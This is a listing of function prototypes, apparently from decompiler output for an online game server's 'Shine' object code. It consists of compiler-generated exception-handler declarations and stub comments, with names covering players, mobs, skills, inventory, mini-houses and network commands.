_EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShineMobileObject_ShineObjectClass__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171858(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobTargetPlayerCaptivate__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172936(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_DummyFunction_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172984(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineDoor_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173160(int a1); // void __usercall _L173161_0(int a1); // void __usercall _L173162(int a1); // void __usercall _L173163(int a1); // void __usercall _L173164(int a1); // void __usercall _L173165(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Selector_MobActionArgument_MobTacticElement__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173589(int a1); // void __usercall _L173590(int a1); // void __usercall _L173591(int a1); // void __usercall _L173592(int a1); // void __usercall _L173593(int a1); // void __usercall _L173594(int a1); // void __usercall _L173595(int a1); // void __usercall _L173596(int a1); // void __usercall _L173597(int a1); // void __usercall _L173598(int a1); // void __usercall _L173599(int a1); // void __usercall _L173600(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShineObjectManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173856(int a1); // void __usercall _L173857(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__som_AllocObject_ShineObjectManager__QAEPAVShineObject_ShineObjectClass__PAGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174105(int a1); // void __usercall _L174106(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__som_FindNPC_ShineObjectManager__QAEPAVShineObject_ShineObjectClass__PATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176632(int a1); // void __usercall _L176633(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_LogoutPacketBroadcast_ShineObject_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174498(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175299_0(int a1); unsigned int __cdecl _L175300(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_RegistNumberVarifyCheck_ShinePlayer_ShineObjectClass__UAEEPAUPROTO_NC_CHAR_REGNUM_VARIFICATION_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175525(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ToNormalLoc_ShinePlayer_ShineObjectClass__UAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175804(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ElderineRegionCheck_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176487(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VShineObject_ShineObjectClass____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176683(int a1); // void __usercall _L176684(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_LogoutPacketBroadcast_ShineDropItem_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L177010_0(int a1); // void __usercall _L177011_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AllInMapNomal_ShineObject_ShineObjectClass__QAEEPAVAxialListIterator__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L178013(int a1); // void __usercall _L178014(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AllOfRangeNomal_ShineObject_ShineObjectClass__QAEEKPBUSHINE_XY_TYPE__HPAUFanFormSectorArgument__P812_AEEPAV12_K_ZEG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L178924(int a1); // void __usercall _L178925(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineMiniHouse_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L178995(int a1); // void __usercall _L179662(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VShineObjectEachList____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179852_0(int a1); // void __usercall _L179873(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_FirstActionAfterSocketConnect_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181260(int a1); // void __usercall _L181261(int a1); // void __usercall _L181262(int a1); // void __usercall _L181263(int a1); // void __usercall _L181264(int a1); // void __usercall _L181265(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShineMob_ShineObjectClass__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181547(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SetLastBattle_ShineMob_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181824(int a1); // void __usercall _L181825(int a1); // void __usercall _L181826_0(int a1); // void __usercall _L181827_0(int a1); // void __usercall _L181828(int a1); // void __usercall _L181829(int a1); // void __usercall _L181830(int a1); // void __usercall _L181831(int a1); // void __usercall _L181832(int a1); // void __usercall _L181833(int a1); // void __usercall _L181834(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineObjectManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L182359(int a1); // void __usercall _L182360(int a1); // void __usercall _L182361(int a1); // void __usercall _L182362(int a1); // void __usercall _L182363(int a1); // void __usercall _L182364(int a1); // void __usercall _L182365(int a1); // void __usercall _L182366(int a1); // void __usercall _L182367(int a1); // void __usercall _L182368(int a1); // void __usercall _L182369(int a1); // void __usercall _L182370(int a1); // void __usercall _L182371(int a1); // void __usercall _L182372(int a1); // void __usercall _L182373(int a1); // void __usercall _L182374(int a1); // void __usercall _L182375(int a1); // void __usercall _L182376(int a1); // void __usercall _L182377(int a1); // void __usercall _L182378(int a1); // void __usercall _L182379(int a1); // void __usercall _L182380(int a1); // void __usercall _L182381(int a1); // void __usercall _L182382(int a1); // void __usercall _L182383(int a1); // void __usercall _L182384(int a1); // void __usercall _L182385(int a1); // void __usercall _L182386(int a1); // void __usercall _L182389(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShinePlayer_ShineObjectClass__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L183363(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ReinforceFoldtent_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L183803(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tset_traits_KU__less_K_std__V__allocator_K_2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tset_traits_KU__less_K_std__V__allocator_K_2__0A__std___2_ABK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_KV__allocator_K_std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_VObserver__V__allocator_VObserver___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L184956(int a1); // void __usercall _L184957(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__som_FreeObject_ShineObjectManager__QAEEGW4RemoveWhen_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185529(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineAxialFlag_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185631(int a1); // void __usercall _L185632(int a1); // void __usercall _L185633(int a1); // void __usercall _L185634(int a1); // void __usercall _L185635(int a1); // void __usercall _L185636(int a1); // void __usercall _L185637(int a1); // void __usercall _L185758(int a1); // void __usercall _L185638(int a1); // void __usercall _L185639(int a1); // void __usercall _L185640(int a1); // void __usercall _L185641(int a1); // void __usercall _L185642(int a1); // void __usercall _L185643(int a1); // void __usercall _L185644(int a1); // void __usercall _L185645(int a1); // void __usercall _L185646(int a1); // void __usercall _L185647(int a1); // void __usercall _L185648(int a1); // void __usercall _L185774(int a1); // void __usercall _L185649(int a1); // void __usercall _L185650(int a1); // void __usercall _L185651(int a1); // void __usercall _L185652(int a1); // void __usercall _L185653(int a1); // void __usercall _L185654(int a1); // void __usercall _L185655(int a1); // void __usercall _L185656(int a1); // void __usercall _L185657(int a1); // void __usercall _L185658(int a1); // void __usercall _L185875(int a1); // void __usercall _L185659(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShinePlayer_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L186015(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_banning_ShinePlayer_ShineObjectClass__UAEXW4RemoveWhen_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L191420(int a1); // void __usercall _L191421(int a1); // void __usercall _L191422(int a1); // void __usercall _L191423(int a1); // void __usercall _L191424(int a1); // void __usercall _L191554(int a1); // void __usercall _L191425(int a1); // void __usercall _L191426(int a1); // void __usercall _L191427(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineMob_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L191673(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineBandit_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L191746(int a1); // void __usercall _L191748(int a1); // void __usercall _L191749(int a1); // void __usercall _L191750_0(int a1); // void __usercall _L191751_0(int a1); // void __usercall _L191753_0(int a1); // void __usercall _L191754_0(int a1); // void __usercall _L191755(int a1); // void __usercall _L191756(int a1); // void __usercall _L150151(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_LoginAfterLogout_ShineMob_ShineObjectClass__UAEXPBUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150228(int a1); // void __usercall _L150229(int a1); // void __usercall _L150230(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ReflectionDamage_ShineMobileObject_ShineObjectClass__UAEXHPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157849(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Immortal_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157875(int a1); // void __usercall _L157876(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KillAllMob_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160753_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SendAutoPickToClient_ShinePlayer_ShineObjectClass__QAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160918(int a1); // void __usercall _L160919(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GetEmptyItemInventoryCount_ShinePlayer_ShineObjectClass__QAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161488_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHARSAVE_UI_STATE_SAVE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162272(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SetCaptivate_ShinePlayer_ShineObjectClass__UAEX_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164227(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xran___vector_UListUp_ShineObjectClass__V__allocator_UListUp_ShineObjectClass___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UListUp_ShineObjectClass__V__allocator_UListUp_ShineObjectClass___std___std__IAEXViterator_12_IABUListUp_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UListUp_ShineObjectClass__V__allocator_UListUp_ShineObjectClass___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164861(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____ErrorSendPlayer_UPROTO_NC_CHAR_CLIENT_AUTO_PICK_ACK____YA_NPAVShineObject_ShineObjectClass__HPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165370(int a1); // void __usercall _L165371(int a1); // void __usercall _L165372(int a1); // void __usercall _L165373(int a1); // void __usercall _L164373(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cfs_Routine_CeaseFireSender__QAEXPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166984(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____sp_SmallItemDelete_UItemInform_ActionItem___ShinePlayer_ShineObjectClass__QAEXPAV__ItemInventorySmallCell_UItemInform_ActionItem____HHPAUShineDateTime___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165737_0(int a1); // void __usercall _L165738_0(int a1); // void __usercall _L165739_0(int a1); // void __usercall _L166101(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__almfd_ApplyDamage_AxialListMagicFieldDamage__QAEXPBUSkillDataIndex_SkillDataBox__PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166225(int a1); // void __usercall _L166226(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineMagicField_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166360(int a1); // void __usercall _L166361(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_Scream4Rescue_ShineMob_ShineObjectClass__QAEXPAVShineObject_2_HHE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166576(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_RunInFear_ShineMobileObject_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166658(int a1); // void __usercall _L166659(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_MoveByServer_ShineMobileObject_ShineObjectClass__UAEXPAUSHINE_XY_TYPE__HHW4MMState_MoveManager__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166836(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____sp_SmallItemActivCheck_UItemInform_ActionItem___ShinePlayer_ShineObjectClass__QAEXPAV__ItemSmallBag_UItemInform_ActionItem____H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167353(int a1); // void __usercall _L167354_0(int a1); // void __usercall _L167355(int a1); // void __usercall _L167356(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineNPC_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167459(int a1); // void __usercall _L167460(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineDropItem_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167656(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_DuringRecover_ShineMob_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168128(int a1); // void __usercall _L168129(int a1); // void __usercall _L168130(int a1); // void __usercall _L168142(int a1); // void __usercall _L168143(int a1); // void __usercall _L168144(int a1); // void __usercall _L168137(int a1); // void __usercall _L168138(int a1); // void __usercall _L168139(int a1); // void __usercall _L168140(int a1); // void __usercall _L168131(int a1); // void __usercall _L168132(int a1); // void __usercall _L168133(int a1); // void __usercall _L168134(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShinePlayer_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168542(int a1); // void __usercall _L168576(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_DuringBattle_ShineMob_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168881(int a1); // void __usercall _L168882(int a1); // void __usercall _L168883_0(int a1); // void __usercall _L168884(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineMob_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169928(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xran___vector_PAVRoutionInterface__V__allocator_PAVRoutionInterface___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170207(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_Routine_ShineAxialFlag_ShineObjectClass__UAEEPAV__List_VShineObject_ShineObjectClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158732(int a1); // void __usercall _L158733(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_BroadcastGuildAcademyInfo_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158789(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CanUseItemCheck_ByTable_ShinePlayer_ShineObjectClass__QAEHW4UseEffectType___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163776(int a1); // void __usercall _L163777(int a1); // void __usercall _L163778(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_MH_FurnitureEndureUpdate_ShinePlayer_ShineObjectClass__UAEGPAUPROTO_NC_ITEMDB_FURNITURE_ENDURE_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163967(int a1); // void __usercall _L163968(int a1); // void __usercall _L164202(int a1); // void __usercall _L164204(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164463(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_EXIT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165247(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165611_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166023(int a1); // void __usercall _L166024(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166896_1(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Schedule_BuildMiniHouse_ShinePlayer_ShineObjectClass__AAE_AW4TS_ReturnType_TimeScheduler_12_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167729(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_BUILDING_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167825(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__hasObserver_ShinePlayer_ShineObjectClass__UAE_NPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170354(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___deque_UNormalAttackDamageElement_NormalAttackDamageDelay__V__allocator_UNormalAttackDamageElement_NormalAttackDamageDelay___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171973(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nadt_PushBack_NormalAttackDamageTick_NormalAttackDamageDelay__QAEXHPAVShineObject_ShineObjectClass__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172233(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__registerObsersver_ShinePlayer_ShineObjectClass__UAEXAAVObserver___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172277(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0NormalAttackDamageTick_NormalAttackDamageDelay__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172538(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__nadt_Clear_NormalAttackDamageTick_NormalAttackDamageDelay__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158220(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163137(int a1); // void __usercall _L170059(int a1); // void __usercall _L170060(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Blast_Trap_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE__PAUSKILL_EMPOWER__PBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163884(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_Teleport_ShinePlayer_ShineObjectClass__UAEXAAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163985(int a1); // void __usercall _L163986(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mgcfld_MagicFieldSpread_ShineMagicField_ShineObjectClass__UAEXGPAVShineMobileObject_2_PBUSkillDataIndex_SkillDataBox__PAUSHINE_XY_TYPE__PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164290(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SKILL_UNLEARN_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165159(int a1); // void __usercall _L165160(int a1); // void __usercall _L165161(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Casting_ShineMobileObject_ShineObjectClass__QAEXPBUSkillDataIndex_SkillDataBox__PAVShineObject_2_PAUSHINE_XY_TYPE__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166897(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168580(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__csl_UnLearn_CharaterSkillList__QAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169326(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sds_TemplateStore_SkillDamageSender_SkillEffectApply__QAEXPAVShineMobileObject_ShineObjectClass__PAUSkillResultBuffer__HHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169377(int a1); // void __usercall _L169661(int a1); // void __usercall _L169662(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__alsst_SkillBlast_AxialListScanSkillTarget__QAEXPBUSkillDataIndex_SkillDataBox__PAUSKILL_EMPOWER__HPAUMultiHitArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169813(int a1); // void __usercall _L169814_0(int a1); // void __usercall _L169815(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Blast_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2_PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170170(int a1); // void __usercall _L170171(int a1); // void __usercall _L170172(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Blast_Trap_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2_PAUSKILL_EMPOWER__PBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170302(int a1); // void __usercall _L170303(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbe_BlastObject_SkillBlastEffect_SkillEffectApply__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170409(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbe_BlastLocate_SkillBlastEffect_SkillEffectApply__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146984(int a1); 